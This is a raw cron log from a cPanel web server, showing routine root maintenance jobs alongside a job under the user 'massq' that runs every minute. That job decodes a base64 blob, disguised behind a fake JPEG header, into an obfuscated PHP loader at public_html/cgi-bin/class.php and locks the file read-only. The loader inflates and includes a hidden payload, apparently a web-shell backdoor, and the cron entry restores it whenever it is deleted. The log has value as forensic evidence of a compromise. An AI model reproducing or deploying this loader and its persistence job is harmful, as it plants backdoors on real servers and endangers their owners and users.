Nov 11 09:13:01 server CROND[19576]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:14:01 server CROND[20210]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:15:01 server CROND[21027]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 09:15:01 server CROND[21028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:15:01 server CROND[21029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:16:01 server CROND[21985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:17:01 server CROND[22796]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:18:01 server CROND[23616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:19:01 server CROND[24451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:20:01 server CROND[25264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:20:01 server CROND[25266]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 09:20:01 server CROND[25267]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 09:20:01 server CROND[25269]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 09:20:01 server CROND[25270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:21:01 server CROND[26153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:22:01 server CROND[26907]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:23:01 server CROND[27330]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:24:01 server CROND[28135]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:25:01 server CROND[28995]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:25:01 server CROND[28996]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:25:01 server CROND[28997]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
